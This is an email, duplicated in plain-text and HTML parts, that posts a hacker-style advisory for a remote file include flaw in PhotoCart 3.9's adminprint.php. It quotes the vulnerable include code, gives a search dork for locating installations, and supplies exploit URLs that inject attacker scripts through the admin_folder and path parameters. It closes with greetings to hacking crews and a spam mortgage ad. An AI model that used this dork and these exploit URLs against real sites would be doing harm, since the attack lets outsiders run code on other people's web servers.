--0-1006808724-1164114500=:98901 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit ##################################################################################################### # # PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability # Script site: http://www.picturespro.com/store/programs/129-photo_cart.html # Dork : inurl :/PhotoCart/ # ##################################################################################################### ## ## ## Bug Found By : irvian ## ## #################################################################################################### ### ### GreetZ: jipank,kacung,trangkil,ibnusina,cah|gemblunkz,zoid ### Special greetz: #patihack #hitamputih #nyubicrew ### ##################################################################################################### bug found on /PhotoCart/adminprint.php include "setup.php"; $path = "$path"; $path = "$path"; include "$admin_folder/_admin_functions.php"; include "$path/_db.php"; adminsessionCheck(); Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts] http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts] --------------------------------- Sponsored Link $420,000 Mortgage for $1,399/month - Think You Pay Too Much For Your Mortgage? Find Out! --0-1006808724-1164114500=:98901 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit #####################################################################################################
#
# PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
# Script site: http://www.picturespro.com/store/programs/129-photo_cart.html
# Dork       : inurl :/PhotoCart/
#
#####################################################################################################
##
##
## Bug Found By : irvian
##
##
####################################################################################################
###
### GreetZ: jipank,kacung,trangkil,ibnusina,cah|gemblunkz,zoid
### Special greetz: #patihack #hitamputih #nyubicrew
###
#####################################################################################################

bug found on /PhotoCart/adminprint.php

include "setup.php";
$path = "$path";
$path = "$path";
include "$admin_folder/_admin_functions.php";
include "$path/_db.php";
    adminsessionCheck();


Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts]
      http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts]



Sponsored Link

$420,000 Mortgage for $1,399/month - Think You Pay Too Much For Your Mortgage? Find Out! --0-1006808724-1164114500=:98901--